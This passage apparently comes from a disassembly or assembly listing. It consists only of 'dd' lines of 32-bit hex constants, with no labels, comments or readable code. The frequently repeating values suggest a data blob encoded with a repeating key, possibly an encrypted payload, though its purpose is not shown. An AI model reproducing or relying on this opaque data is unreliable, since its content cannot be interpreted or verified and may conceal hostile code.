1566113Bh, 8C3FF754h, 0BB8A55F6h, 0A3DC70A1h, 0C4116737h dd 759409D0h, 943E632Ah, 183982C0h, 1184D068h, 94606AF3h dd 65A56AF0h, 4FB62360h, 3B4BC11Bh, 750D2B41h, 156656DAh dd 6CD9B532h, 779A961Ch, 0CA7A4812h, 0DB918EAh, 1AB2B0A0h dd 0FC3DE785h, 15668837h, 7143C851h, 78F43C5h, 0F1661132h dd 17C3886Bh, 5906A967h, 7F72BB3Bh, 112B8D27h, 5A64902h dd 1567CF3Dh, 24932232h, 1560F8FAh, 0FC1B8832h, 56F7C735h dd 0B03BFBBh, 9B691727h, 1566883Ah, 1564CE3Dh, 74062232h dd 1466110Fh, 0AAE58732h, 0FC664433h, 15662221h, 0A966EB7Ch dd 82FB73F0h, 0DB34A9EDh, 0B0FF4AD7h, 943BF563h, 0AEDD330Ch dd 8EE34B89h, 75662233h, 10E31ECEh, 73668832h, 0E173A3B3h dd 460E553h, 0C44AAB78h, 14DDDB14h, 1C041E5Fh, 13E7792Ch dd 91E713EFh, 15668DDBh, 433C4532h, 0AA31C191h, 15661136h dd 469B4EB3h, 0EB674E72h, 469BCCB3h, 0FC391B72h, 15668821h dd 0F81F886Ch, 0DAC9EC0Eh, 0F5FC4A19h, 894C0A30h, 9CC2846Ah dd 6CB387h, 19E41E34h, 1A668832h, 156642BEh, 15E12D32h dd 9E661132h, 7FC5AFh, 2699B834h, 94422EB9h, 156615F6h dd 138FE832h, 0A9664432h, 7449B51Fh, 2AD97716h, 0F9E5E91Bh dd 3162CD36h, 1576CB68h, 0D8251132h, 716C5ED0h, 0B79CA490h dd 12B78694h, 1A06A349h, 156689B9h, 9B69B132h, 15662221h dd 15661FDBh, 59E27F32h, 870F445Fh, 952146Bh, 4343F1C1h dd 0E5EFD660h, 14EA4B6Ch, 0E9662232h, 9DB9419h, 93698E27h dd 15664420h, 15662FDBh, 90F3A332h, 0BFEF457Ah, 6F928E92h dd 0F5A753ADh, 83D77130h, 0D55C51B3h, 16073010h, 674BB7h dd 5E21E34h, 75668832h, 156641DBh, 78C66132h, 0AB006C3Eh dd 2407DC0Fh, 24A075C2h, 0ED3442C2h, 74979A69h, 14EE879Fh dd 0E9664432h, 1D62251Fh, 43AE1026h, 1D628F8Ch, 4B964526h dd 156CAB3Dh, 108F1132h, 41668832h, 767F34F8h, 3122ABC7h dd 1DE41E2Eh, 1A668832h, 156646BBh, 74074232h, 15661CDBh dd 54338632h, 413427ECh, 0F24E66BEh, 698FD391h, 75668831h dd 35C75C8Ah, 13E32D6Dh dd 1A661132h, 156688B0h, 0F9E72532h, 15662236h, 75421DBBh dd 0FCBF3F3Dh, 15664422h, 0B2FB29Ch, 0D82C90BCh, 26531FB1h dd 0D3807B4Eh, 0F2EF7553h, 1562D6B3h, 0FAE58832h, 315AC336h dd 3172AB6Eh, 156602DBh, 0B0516E32h, 27BF605Dh, 2A70FBCh dd 782CB090h, 0E884422Ch, 95698D03h, 15662233h, 0B0F39ACEh dd 0FC609D39h, 1566443Ah, 0C3640E65h, 0CEC19E58h, 91698A09h dd 156644DDh, 156631DBh, 0C4A2C832h, 272F0415h, 0D088E52Ch dd 2361440Eh, 0FC1AF468h, 1561DC5Ah, 317ACD32h, 15662689h dd 4EBC1032h, 1577093Dh, 198F4432h, 0E9662232h, 886E9730h dd 8F1F1BE4h, 46504284h, 9C0AE689h, 0E2B5E653h, 0D08D09E1h dd 3C07CD5Eh, 1A0679EBh, 9E00C285h, 985DE9F9h, 13736C87h dd 0EAF4A73Dh, 9569EECDh, 15668839h, 15E94B52h, 95662232h dd 4307B7DAh, 6E7D9E8Ch, 0F18CFC59h, 0CA63B6B6h, 143E9F23h dd 4B9A5C2h, 1A381CBCh, 156634BCh, 1E8F7132h, 0E6668832h dd 0F78AE190h, 4629C74Dh, 0AE007559h, 9807DAFCh, 29DABFh dd 1569CB34h, 99C11132h, 5DA48BFBh, 0DE6DBF62h, 80AF8443h dd 12E81EB8h, 1A668832h, 156645B0h, 0F499D732h, 15739E3Dh dd 1A068832h, 1E8FB785h, 0BB662232h, 52D423E7h, 86AA3059h dd 9C07BD3Dh, 6C7FBFh, 0C8E67134h, 0CDDD897h, 4E70B9A3h dd 3172A953h, 94879863h, 15668CF3h, 11A7C732h, 49422EB5h dd 1567993Dh, 0EA9E8832h, 963F6006h, 1A0626F6h, 128FCA85h dd 47668832h, 0B6D9C5EFh, 0E0072268h, 152B945Ah, 31520132h dd 156649DBh, 81044A32h, 414BE205h, 0E673A3C3h, 9E69F4B9h dd 15662226h, 0FDA79B52h, 15668838h, 23CEBF3Dh, 3225D747h dd 743CAA6Ch, 0C2B15B9h, 1A9A4227h, 156623BFh, 2699E432h dd 944284B9h, 156640F6h, 1BE82D32h, 0FC661132h, 1566883Bh dd 513BBA0Dh, 0C517AF69h, 48E39A8Fh, 75609D38h, 94BCF33Dh dd 47DAA0DDh, 0F5B7707Ah, 15720B3Dh, 0FC064432h, 15662239h dd 0E4696A10h, 89E106DEh, 479A1835h, 9269436Ch, 1566112Ah dd 15669BDBh, 0C90C0132h, 0BCA69111h, 1264BEF9h, 54E856E0h dd 90AD6B93h, 37EFA731h, 96691727h, 15668834h, 4EDF2252h dd 0E357435Ch, 156618DBh, 0CB34D532h, 28E5573Ch, 0BD0E6DF8h dd 9C661131h, 4D30AC36h, 0B800B86Ch, 156630DBh, 61A42632h dd 0B117B191h, 86D637A8h, 314826A1h, 0D46B0D5Ch, 99698AD2h dd 15664439h, 0D6ED4452h, 1566953Dh, 16078832h, 672DB7h dd 138E4234h, 78661132h, 0B0D29C01h, 4AD9F13Ch, 118AA353h dd 9C661132h, 4D30AC36h, 1575AD6Ch, 23022232h, 16EF257Bh dd 0FFB19B30h, 5F1AB4F7h, 678A3748h, 9869BC98h, 15668824h dd 156655DBh, 596B8D32h, 142912B6h, 3C64F9DDh, 266B30A6h dd 7506A886h, 4F314864h, 0E5E7E853h, 67DF22FCh, 1566AE3Dh dd 74071132h, 4176AE37h, 5A5F4107h, 0DD670D92h, 0B529281Fh dd 540A51Dh, 58F7166h, 61662232h, 386BE788h, 0EB64CC8Ch dd 936A4418h, 75CDF050h, 1A38E864h, 15668AB3h, 743C1632h dd 424216B9h, 0D2E7F6BBh, 15668836h, 156283B3h, 29E12232h dd 969A4D16h, 4A658Fh, 91694534h, 156622E0h, 90EB2ACBh dd 1A609D24h, 156681B6h, 1F8FD732h, 7B661132h, 0ACF7B131h dd 0EE218662h, 9CEB1992h, 1A600435h, 156621B6h, 1569AD32h dd 0B3D12232h, 0FB464155h, 0AAF45764h, 0A7360DF8h, 9CEB199Fh dd 1A600425h, 156601B6h, 1560AD32h, 24FD2232h, 0A74263BCh dd 0F14315BFh, 9669422Eh, 15662239h, 0D2ED7752h, 1566063Dh dd 0EA074432h, 0F9E7DBE1h, 15661136h, 94428CBBh, 11A16006h dd 94390FC6h, 0E162D6C5h, 156A611Fh, 0BCC4432h, 7A08AB9Bh dd 5B6E50A5h, 138F7B5Eh, 76664432h, 0A3F201DDh, 98E398FAh dd 75609D2Bh, 82D2AF8Ch, 4EB2D2Dh, 0FD661132h, 15668839h dd 8F7553FAh, 0CFE69D9Ah, 4FFACA8Ch, 2F8F7D53h, 1A66442Ch dd 156623B4h, 88EBE832h, 137A6C17h, 1568AD52h, 5E232232h dd 0A0C7D638h, 0D6EF7C5Dh, 19CBEFAh, 0CBD92D64h, 0C699706Dh dd 15669BDBh, 0A3205532h, 7F2D4768h, 878A790h, 21A89BF9h dd 4794C326h, 398B9FB1h, 1A661727h, 1566DEB6h, 739A2432h dd 0D2EFD4B3h, 24E32A53h, 1A609D3Eh, 156668B6h, 156DCB32h dd 9A5E1132h, 551FC137h, 400FD9DFh, 74E31930h, 1A60043Bh dd 1566AEB7h, 156DAD32h, 6B5F2232h, 7BA653F3h, 0DF262832h dd 0EB90ADA6h, 0FC9FDDCDh, 15661139h, 145C0775h, 0A505C01Eh dd 2E980511h, 4F2CB7h, 83E38734h, 1A664432h, 156623B6h dd 9506E432h, 0F3E77DE1h, 21ABFFE1h, 0A0DBA153h, 1560041Fh dd 15570C3Dh, 97694432h, 1566223Eh, 156616DBh, 0B4252732h dd 19D5F6Bh, 100B9FB1h, 1A661727h, 1566D0B6h, 156BAD32h dd 0AB892232h, 1EDE1124h, 892574C4h, 98357AD1h, 95991B7h dd 1B8E7134h, 0FB668832h, 0D55CA8AFh, 0CC5D4E84h, 0A7B5582Dh dd 0C3E7EEECh, 1A3EC943h, 156621B7h, 0D0AB9132h, 4C8F7153h dd 7599BBCCh, 1565A13Dh, 0A2691132h, 156061FBh, 0D2934432h dd 78F2F260h, 28E32A53h, 1A609D1Bh, 0EA9873B6h, 940042CDh dd 94B633C5h, 16BC33E0h, 0A8E52538h, 137AA574h, 43E31E33h dd 1A668832h, 15664AB4h, 156FCB32h, 0A9861132h, 26427110h dd 0ED80888Fh, 921CA709h, 9069172Eh, 15668807h, 0CDED2252h dd 0A095A354h, 90EB708Bh, 153F83D6h, 156643DBh, 91CE6B32h dd 0D92261EDh, 0E89261CEh, 9869BBCDh, 1566223Fh, 156619DBh dd 5F47CC32h, 0DA9F8BDFh, 0FC9913E7h, 15661137h, 5369320Dh dd 0D4DBC726h, 15603723h, 1A64953Dh, 128F8832h, 0F7664432h dd 0A6C21AF7h, 905D58C1h, 137A0F54h, 155EC13Dh, 0E09E2232h dd 3C4F94B9h, 1A068E27h, 156647B1h, 0DED92D32h, 74A0AE3Dh dd 448D3163h, 0CC917153h, 0DCE7F3C5h, 3B367B87h, 0E4E761E3h dd 0F5210632h, 1A3FED1Bh, 156610B7h, 905D7132h, 137AC35Ch dd 1546A73Dh, 9E9F1132h, 49B9B7h, 9E002434h, 0AD3643F8h dd 0EA99EECDh, 753E4F1Bh, 0F4EFA789h, 7406740Fh, 905D7068h dd 137A0F58h, 1558C13Dh, 9E9E2232h, 44DCB7h, 15766134h dd 48D94432h, 8930CFA9h, 31C37BF6h, 87F1A22Dh, 0AD36B315h dd 25993BE0h, 0E253517Ah, 55140569h, 30539CC5h, 3C245070h dd 108F49F5h, 1668832h, 1E4D1B31h, 9214A709h, 9069172Eh dd 1566881Ah, 24E3CFCAh, 0FC603702h, 15661135h, 4459558Ah dd 434FED4Ch, 0EA99DD8Ch, 4B9138CDh, 47223C52h, 1566C13Dh dd 743D2232h, 92109409h, 90698E2Eh, 15664450h, 15662DDBh dd 0C4AF8B32h, 0F8EE1540h, 48E14127h, 5CE19361h, 12A394B9h dd 0FD068E27h, 1566443Bh, 0A070CF69h, 98185C0Ch, 4E3DD8E4h dd 14E44B53h, 0ED662232h, 0EA99AA61h, 0CA4F77CDh, 18E2469h dd 0D662232h, 0A438EC10h, 0F8B36316h, 0DF105BD2h, 0AD9CB4F8h dd 1AB54917h, 156688BEh, 0DEE61E32h, 905D43C4h, 137A9648h dd 15490D3Dh, 92694432h, 1566223Eh, 156616DBh, 0F79DF132h dd 119B24F6h, 0C83A7B9h, 0A3061727h, 0B7A608E2h, 14DD1753h dd 14662232h, 99694AEDh, 15668833h, 6BE37FC7h, 1A603EB5h dd 156620B7h, 15636132h, 79054432h, 9EB35284h, 6114B7h dd 4B37E834h, 74A9F33Dh, 14DF73CBh, 14661132h, 1A06D1FDh dd 156642B3h, 0FCB9A332h dd 0A53DB405h, 905DE90Eh, 137AC3B0h, 154BA73Dh, 1F8F1132h dd 0C3668832h, 2E8F7D59h, 206A0716h, 0A0E39AA8h, 0EC609D33h dd 4D391465h, 198FB572h, 0E8661132h, 37CABE73h, 0A4553C7Bh dd 2E0F40D5h, 9E197B7h, 56E38734h, 1A664432h, 156632B6h dd 156DF832h, 750E8832h, 4D0AE943h, 0DB2B2C82h, 0A0E39A3Ch dd 1A609D34h, 15664EB1h, 0F7E74232h, 72BEA78Eh, 4607E952h dd 0EA99BB89h, 4EB90BCDh, 156E9D3Dh, 73068832h, 0A26986B9h dd 905D43F2h, 137A96B8h, 155E0D3Dh, 9E9E4432h, 640BB7h dd 19E51E34h, 1A668832h, 156642B3h, 15EC2D32h, 43661132h dd 1566898Ch, 4B914532h, 156633DBh, 0E9D80432h, 1936AB79h dd 0DCF3BC4h, 0C89F8F1Eh, 905DDFC4h, 137A0FA0h, 152DC13Dh dd 73062232h, 959D698Ah, 9E078FC5h, 624DB7h, 156BCB34h dd 75D31132h, 0FED466F6h, 0F9690479h, 468D3EBEh, 4011289h dd 6BAD0967h, 5E4F6613h, 8DE5E1B3h, 0CA6793FEh, 15696169h dd 0ADD74432h, 0F7FF10h, 97BDE563h, 66AA907Bh, 9BE37F70h dd 1A603EB5h, 156649B7h, 14E88732h, 0E0664432h, 0DA79FB1h dd 1A661727h, 1566CCB7h, 9069B832h, 1566223Eh, 1560913Dh dd 97698832h, 15664432h, 37FA7B9h, 98691727h, 15668833h dd 14DB11C7h, 14662232h, 0FC064CDDh, 15668823h, 0FEBE6022h dd 0C6C9A04Bh, 26AA49AAh, 0BF614257h, 0CFD14B4Ch, 0ECDBA153h dd 1560041Ch, 152F0C3Dh, 0AB064432h, 15A9B6EBh, 64959152h dd 1566063Dh, 74074432h, 9D7CA709h, 9069172Eh, 15668819h dd 156649DBh, 67C53532h, 5E5F7CD5h, 67EEF4FCh, 90ED265Ch dd 13732857h, 0EADC43CAh, 3C9977CDh, 73061EE5h, 659BF8B3h dd 96078F86h, 7A0D8Fh, 91694434h, 1566202Ch, 0E7D11E52h dd 0FDE7EE63h, 74397FF7h, 7EB9FB1h, 1A661727h, 15648DB6h dd 905DB132h, 137AA5CCh, 1532943Dh, 1B8F8832h, 0F5664432h dd 87E724A9h, 0C9F22053h, 3138EE97h, 0F4E3CFECh, 0FC603730h dd 1566113Fh, 564C9BD5h, 936132C0h, 13E9C149h, 19EE1E3Fh dd 1A668832h, 156642B3h, 15E82D32h, 43661132h, 1566898Ch dd 4B914532h, 15662BDBh, 2472A32h, 2EB6D730h, 905DC08Fh dd 137AAA3Ch, 1523943Dh, 73068832h, 1D5B96B3h, 156DAE3Dh dd 138F1132h, 0BB668832h, 419C7E7Ch, 90ED43A6h, 137307ABh dd 156699DBh, 1CEE1D32h, 6A9762FFh, 0D06C0008h, 918E29E2h dd 0EA31DFADh, 29ED0636h, 11A29216h, 15670C3Dh, 2E9E4432h dd 9EE20B7h, 3DE31E34h, 0ED668832h, 20BC1B9h, 45062427h dd 0D100F9B3h, 733E9E81h, 74FE8A8Dh, 733C7052h, 5F6EF3B3h dd 0EADED853h, 3C99BBCDh, 2E937AF5h, 9EE03B7h, 27E38734h dd 0FC664432h, 15662222h, 0BB92CF2Ah, 0AFF002F9h, 47356C12h dd 0A5CBEF96h, 35C794B9h, 44938E27h, 1566458Bh, 4CA92332h dd 156619DBh, 71EB7C32h, 57B6D4EDh, 3E319CBh, 1A600DBAh dd 1566D2B7h, 9369BD32h, 15662233h, 18E39ACEh, 1A609D14h dd 15664EB1h, 1563CB32h, 0C79E1132h, 1A9B152Bh, 156653B2h dd 1574CB32h, 81121132h, 0D8965423h, 0E3C6A273h, 2B772499h dd 2BF57CC3h, 13763260h, 0E7E72C7Bh, 82D0DBDDh, 753CC61Bh dd 748E47B2h, 156642DBh, 48F51832h, 2E936635h, 9EE8EB7h dd 3BE34B34h, 0FC662232h, 15661121h, 595A03BDh, 14C21297h dd 2CF3644h, 0A6E01EC8h, 9E9FDC67h, 73B5B7h, 0AE35DE34h dd 15661133h, 753D5733h, 0E0B7CF54h, 1FE31953h, 1A600DBAh dd 1566BDB7h, 0DAED2432h, 8F97A361h, 4C3DE4F1h, 0A269E853h dd 0DBD14BFCh, 74E3A953h, 0FC60043Eh, 1566883Eh, 0B61AD3F6h dd 62E83E73h, 0F14F2310h, 0EA993260h, 0C24FBBCDh, 0A8E5DB68h dd 137303BFh, 18E28732h, 0FC66443Bh, 15662237h, 0E14FB3FDh dd 83E3B321h, 1A6058B5h, 156611B7h, 58DD7132h, 95167F2Dh dd 0E00756F4h, 8CFA7B9h, 0AC061727h, 6572BE03h, 74B5CF54h dd 0FEE7FDB5h, 0EA99EECDh, 936957B5h, 1566443Ah, 1564AB3Dh dd 74061132h, 9D4C0D09h, 9069422Eh, 15662271h, 156605DBh dd 611B9232h, 110838C6h, 0A21D08A9h, 0ADBFEB43h, 0A9017A88h dd 80E3CF49h, 75603701h, 7936AE54h, 92075BB9h, 14A5C5EDh dd 92662232h, 156AF8EDh, 0CD7F8832h, 340BDB74h, 5C18D3A3h dd 2E9E883Eh, 9E112B7h, 55E34B34h, 0E9662232h, 2D794B9h dd 479F8E27h, 0DC127488h, 0D7E76821h, 151F4797h, 5E2A62B3h dd 0D7E707B5h, 551F1206h, 946EFBF3h, 0FBADD8C0h, 4FB16DCDh dd 156BA93Dh, 1D8F1132h, 0BC668832h, 50F1D7C6h, 2EFD9DDBh dd 9E18FB7h, 57E38734h, 0E0664432h, 39CFA7B9h, 1F8F1727h dd 88668832h, 4AAC6933h, 6E2AE89Ah, 0D3DF4033h, 9423FF07h dd 625383C3h, 4CA92377h, 15661FDBh, 4436B32h, 0B6EE6771h dd 5124FF5Fh, 0FC815DA4h, 15668837h, 30653ADh, 0B7E319F0h dd 1A600DB5h, 1566A4B7h, 9E9FBD32h, 7BFBB7h, 0F7E67134h dd 0ECEDEE7Eh, 0EAD81253h, 3C99DDCDh, 98694FC5h, 1566883Fh dd 15664CDBh, 9079E732h, 0D1CA11B8h, 0B3E3B3C8h, 1A6058B5h dd 15666CB7h, 16E31E32h, 75668832h, 0A8E525CEh, 13733AF3h dd 2DE31E32h, 0ED668832h, 50FC1B9h, 93692427h, 1566113Ah dd 0BDFEE52h, 743D17E7h, 156636DBh, 24584032h, 555A1E9h dd 0CEB18E27h, 37865875h, 0C3A71BC7h, 0EAD8DE5Dh, 3C99BBCDh dd 2E9A7CC5h, 9E1BBB7h, 3BE38734h, 75664432h, 0A8E3A953h dd 1A600439h, 15669ABAh, 156BAD32h, 9C962232h, 9618FAA5h dd 0EC11634Ch, 4401FED5h, 0EA99DD8Bh, 4CA938CDh, 0CAEDEE52h dd 0BBE37F53h, 1A603EB5h, 156662B7h, 0CE28732h, 0FC664432h dd 15662226h, 0EF779BCEh, 980BDB4Bh, 2B9FE8F1h, 8690FA1Bh dd 2570BFABh, 0DA735B1h, 1A664227h, 156665B7h, 14E81E32h dd 0ED668832h, 0F0E6BC52h, 90ED438Dh, 1373253Bh, 1567083Dh dd 0E09F4432h, 7CBD9F67h, 0F8A77348h, 24AB0937h, 9410E754h dd 6762BDFFh, 74939064h, 942DFB30h, 6E600EC7h, 0C093A345h dd 142DEAC1h, 0ED9ED5DDh, 92D4C109h, 9069242Eh, 1566111Ch dd 43DEEE52h, 0E2D14BA1h, 80E3A953h, 1A600413h, 15668FB8h dd 0D8E62432h, 7496A958h, 1567AA61h, 0CA678832h, 9E002469h dd 0B4DF44FCh, 905D70E0h, 137A0F84h, 1531C13Dh, 128F2232h dd 6B661132h, 0F8DABA6h, 90ED6D53h, 137320E3h, 0F5DE7152h dd 9E6652CBh, 1E8E25CCh, 0D9662232h, 0C0F209B3h, 2699E2h dd 0F0E6E988h, 0FC077C21h, 15661137h, 3F3CE53Ch, 11991336h dd 315AA916h, 1A62D5B1h, 156684BBh, 13E94B32h, 1A662232h dd 156611B0h, 0ABE3B332h, 1A6058B5h, 156640B7h, 1E11E32h dd 0FC668832h, 1566443Dh, 0A2DB36C8h, 0A47D4E41h, 0C9C1724Dh dd 0E06C4BFCh, 0DA79FB1h, 1A661727h, 1566B2B7h, 3E44B32h dd 0FC662232h, 15661123h, 0D5BECBEAh, 943D4C16h, 1E328DBFh dd 0D0936E40h, 0D0E30343h, 0EC60512Fh, 15679F67h, 0FA671132h dd 1DE5876Fh, 75664432h, 0D3E744C7h, 2E07E090h, 9E132B7h dd 4CE34B34h, 1A662232h, 156619B5h, 17E38732h, 75664432h dd 0D4DBA153h, 1560042Ah, 15580D3Dh, 99694432h, 15662235h dd 1567993Dh, 9E938832h, 714DB7h, 1561CB34h, 0DDFB1132h dd 268277B6h, 14D812CFh, 14662232h, 92694FC5h, 15668822h dd 15664FDBh, 4CE67632h dd 42AFB986h, 0AC1E9730h, 92A4C109h, 9069242Eh, 1566112Bh dd 0F4E303C7h, 0E9605126h, 14DD71C7h, 14661132h, 9369D3EDh dd 15664433h, 0D3E319CAh, 1A600DB5h, 1566F8B7h, 58F2432h dd 5E662232h, 0BDF3E6E2h, 0BB9CDCF2h, 0B8B36F03h, 75E33FBAh dd 99B49054h, 74A8021Eh, 4CE3CF53h, 1A603718h, 15660DB0h dd 3EA8732h, 0FC664432h, 15662223h, 0D4969E7h, 445C37F0h dd 0E21066A1h, 20D4EA59h, 24A12052h, 55A1B9CAh, 0CE14BA5h dd 0FC662232h, 15661126h, 0FD384A43h, 0A78A1109h, 0CD605283h dd 0F7ADC9Fh, 0A100A37Eh, 0DFE37FC7h, 1A603EB5h, 156630B7h dd 15636132h, 63894432h, 9E23AC28h, 6A14B7h, 0A8337D34h dd 0EA99BBCDh, 1A3BCD1Bh, 156610B4h, 905D7432h, 137AC3FCh dd 152AA73Dh, 9E931132h, 4641B7h, 1577AD34h, 0F5112232h dd 0E28C084Bh, 7C67491Dh, 0FFABFFF3h, 45FFDC51h, 1562558Ah dd 366F8D29h, 38267192h, 1530266h, 0F5A7C9C5h, 5419A534h dd 0D267A10Ch, 156ACB6Ah, 0BFFF1132h, 9EB48A22h, 0ED80CD23h dd 905D65AAh, 137A96E0h, 15550D3Dh, 9C694432h, 1566223Ch dd 15E31E52h, 94668832h, 89BEACE3h, 90ED437Fh, 13731B3Fh dd 156682DBh, 0A406EC32h, 0AC8C4184h, 45E833C9h, 1566898Ah dd 4DA14532h, 0C3E319CEh, 1A600DB5h, 1566C1B7h, 1577AD32h dd 64502232h, 7FE28419h, 0BE7AC4D7h, 488C5BD6h, 9E1BA22Ah dd 6CF4B7h, 0AA00E834h, 7306F604h, 128FEDB9h, 0FF661132h dd 0A0AEBC30h, 7407A182h, 0EA999B63h, 0DA4FEECDh, 156E616Bh dd 257A4432h, 8A06B482h, 905DEDF5h, 137A0FE8h, 157BC13Dh dd 9E9F2232h, 43BCB7h, 15616134h, 0F764432h, 117E33EAh dd 24A9202Fh, 54A9B9CBh, 2E938BB5h, 9E1FCB7h, 42E31E34h dd 0FC668832h, 1566443Bh, 9285D13Fh, 5DCF5EA9h, 4CE30373h dd 1A605131h, 15663AB5h, 1575F832h, 0B88A8832h, 7457808Bh dd 60883324h, 658730AFh, 7C793164h, 14DE14F5h, 14662232h dd 0FD0649F5h, 1566883Bh, 56CE1A30h, 0D8A484DAh, 0DFE77739h dd 733C58B1h, 0FD6F87B3h, 905DDA53h, 13733F0Bh, 15430D3Dh dd 73064432h, 4E9FBB3h, 9E07E0B9h, 45B9B7h, 1561AD34h dd 604E2232h, 0CDAA85h, 14D8DE41h, 14664432h, 2E9E7CC5h dd 9E1F3B7h, 2FE38734h, 0FC664432h, 15662238h, 6171FFEh dd 86C0A33Eh, 90ED923Bh, 13732ADBh, 15E81E52h, 74668832h dd 2A67FC62h, 0EB637AAEh, 3CC172F2h, 0FC9ED0F5h, 1566443Bh dd 0DCC10F7Eh, 0B9BDBFB6h, 0BE3B363h, 1A6058BAh, 15665BB7h dd 0F0E67132h, 0A8E5E9FDh, 137ACC14h, 33E32D32h, 0FC661132h dd 15668821h, 3A67CB46h, 4CEEAB99h, 0D8565E9Eh, 0FD5D7533h dd 968BDC5Ch, 4ACF8Fh, 91691134h, 15668870h, 68E3CFC7h dd 0FC603711h, 15661122h, 13CE2382h, 0D416C6F2h, 914936CEh dd 0F36AF176h, 156699DBh, 39FEF332h, 0C893A51Fh, 0B6343A8h dd 0E70120A0h, 0AB302440h, 0EA99DDCDh, 1A38E61Bh, 156689B8h dd 905DB132h, 137AAA10h, 153F943Dh, 96698832h, 15664433h dd 33DBA1CAh, 15600DBAh, 15470D3Dh, 969E4432h, 4ACF8Fh dd 91691134h, 15668805h, 156BC43Dh, 1D8F2232h, 62661132h dd 900B3313h, 9EB7A5E2h, 4537B7h, 0A833ED34h, 0EA9977CDh dd 0FC3BAB1Bh, 1566223Dh, 0D492B610h, 0FAAA5C2Ah, 0A1A60C60h dd 2E812D73h, 9E1F7B7h, 34E38734h, 0E0664432h, 373BA7B9h dd 9E691727h, 15668838h, 24D82252h, 0A1DE44C0h, 0A833707Fh dd 0EA9977CDh, 0E03BAB1Bh, 928CA709h, 9069172Eh, 15668815h dd 0D0E3CFCEh, 75603713h, 1D86BF89h, 0E2D18759h, 11991353h dd 315AA916h, 1A62D5B1h, 15668EBDh, 74062432h, 2E07FCB9h dd 9E1FFB7h, 2EE38734h, 0FC664432h, 15662234h, 0D3A9256h dd 90ED525Bh, 13736333h, 1574CB52h, 0CD911132h, 0D124D536h dd 20C514F2h, 0D0AB8EE5h, 8920D66Bh, 43803752h, 7407422Bh dd 0EA999B63h, 0DA4FEECDh, 905D716Bh, 137AC3C0h, 1556A73Dh dd 9E9F1132h, 44DDB7h, 9DDD2434h, 1A298D74h, 4607DB85h dd 15668989h, 4EB94532h, 57C39C52h, 74934CB6h, 156681DBh dd 9CC9FC32h, 0CB626116h, 905D05BAh, 137A0FC4h, 1550C13Dh dd 9E932232h, 4A44B7h, 156E6134h, 0FB624432h, 8BCE51C0h dd 0AE35FB5Fh, 15668833h, 0FC3D9B33h, 15662226h, 4A2886Bh dd 64F526DEh, 95F3DBCCh, 0E407F0E2h, 0D558EF9Ch, 929C0D09h dd 9069422Eh, 1566227Ah, 0ECD91E52h, 74D368B2h, 156AAD52h dd 27622232h, 88A9A0B9h, 53B0FE31h, 73305ECFh, 743CE5B9h dd 8CF94B9h, 479F8E27h, 7525FB88h, 1D8CE370h, 0F7B7CBC5h dd 0D5E37AB3h, 0C24F44B6h, 10EB2D68h, 75661132h, 743FDFCAh dd 9169BB39h, 15662215h, 1576F852h, 0A29E8832h, 0AF50E3F6h dd 48064672h, 0FEDC7234h, 108F6621h, 0B9664432h, 837F3F86h dd 0FBFEF853h, 2E9F77CDh, 55C1B7h, 33E32D34h, 75661132h dd 0FB8F0961h, 4D345E0Eh, 15E32D61h, 4B661132h, 9BE30553h dd 1A605835h, 156620B8h, 0FC077132h, 0EA996654h, 8CE37FC7h dd 1A603731h, 15667DB7h, 15746132h, 0A6B04432h, 0FDC8F197h dd 489B0A59h, 73611E73h, 0CC05BF9Ah, 0ADF4452h, 1560F958h dd 0A0598832h, 0CB39542Fh, 0FB413A8Ch, 96074A33h, 9E1CE8Fh dd 90694534h, 15662203h, 94AE9B52h, 53735CF8h, 9506256Bh dd 0AF00BEDAh, 9807639Ah, 4C6DEFB7h, 0EA8FB832h, 0FC99DDDFh dd 1566113Fh, 0EE770549h, 92951528h, 99A2ACD9h, 43E32A66h dd 1A6094B5h, 156650B6h, 905DDB32h, 137A9668h, 157A0D3Dh dd 9E064432h, 0C5ED44C9h, 0F8AEF853h, 916977CDh, 15664438h dd 0FE229B52h, 9E006F09h, 150EE9F4h, 9E664432h, 0D1E50606h dd 14E21E36h, 0ED668832h, 1A67BAB1h, 1566CDB7h, 156BF832h dd 0E198832h, 8C936FA3h, 0FC0A8EDAh, 2E681A22h, 9E1C2B7h dd 39E34B34h, 75662232h, 156BF8CEh, 0CDEA8832h, 31330731h dd 8E72BA7Dh, 7457E028h, 92A20DBFh, 138F446Ah, 1E662232h dd 0EDD311FBh, 0F8326173h, 2E9ABBCDh, 9E16CB7h, 27E31E34h dd 1A668832h, 156651BCh, 1AE32D32h, 0FC661132h, 15668838h dd 0D4D864B2h, 8E0105B0h, 90EBEB5Dh, 153E0008h, 0F846ADCEh dd 759ADDCDh, 0E5E7C183h, 47F21599h, 47E37F53h, 1A603EB5h dd 15664AB7h, 15696132h, 7CFC4432h, 4DFA246h, 19E2263Dh dd 0E6F330F8h, 128F2439h, 0BF662232h, 99A027F9h, 0C7D648ECh dd 6AE3C953h, 0FC667ABAh, 1566113Bh, 552B2851h, 0C879C943h dd 0F9AACB3Eh, 9C69EECDh, 1566882Ah, 156657DBh, 9EE63432h dd 0F119CADDh, 3AB63B81h, 7100DF32h, 79A2CC0Ch, 15243C5Ah dd 316A0132h, 0DDEF85BBh, 1576CB6Bh, 562E1132h, 3174A37Ah dd 47ECFB60h, 3BB507A7h, 4034168Bh, 928578Fh, 7D56FE55h dd 0FF4F87A7h, 0C35AF6Fh, 0C34FB64Bh, 1E9FB868h, 8E32DC4h dd 1A661132h, 156689B1h, 508FB132h, 1A99DDDEh, 15661BBFh dd 9F69E832h, 15664432h, 0E907B981h, 9C3D4161h, 9A69D3ECh dd 15664420h, 15662FDBh, 631E8732h, 0ADA639Fh, 87BA6F40h dd 0A0EF6FBCh, 13731673h, 0AB00E8CEh, 9E00F02Fh, 0A0EF43C9h dd 13731743h, 97583352h, 48F4AE2h, 29662232h, 43BCB93Dh dd 0F0A2A511h, 0D3037314h, 0C9DE7943h, 95077153h, 9069610Ch dd 156644FEh, 15662CDBh dd 35536332h, 616CCE6Fh, 888301D9h, 0EA99DCE3h, 21E71044h dd 29000B16h, 0AD361B69h, 4E5A44B1h, 0E03ED603h, 53BD3567h dd 0FA673D70h, 9491236Fh, 5720CADDh, 0FAE6E84Bh, 943025BBh dd 513F061Eh, 9ED306Bh, 11A20916h, 94664432h, 4C227BF1h dd 0AD36ED13h, 1566C832h, 49C487B3h, 0D6672434h, 49C4FAB3h dd 0FC3E8E34h, 1566443Ah, 79F2A302h, 0AE457523h, 12273509h dd 97694227h, 15662214h, 2CB1AB52h, 94008DFCh, 746920E8h dd 0D3ED4452h, 743CE462h, 93697309h, 1566441Eh, 0CBE74452h dd 9E006290h, 3C8FE9F4h, 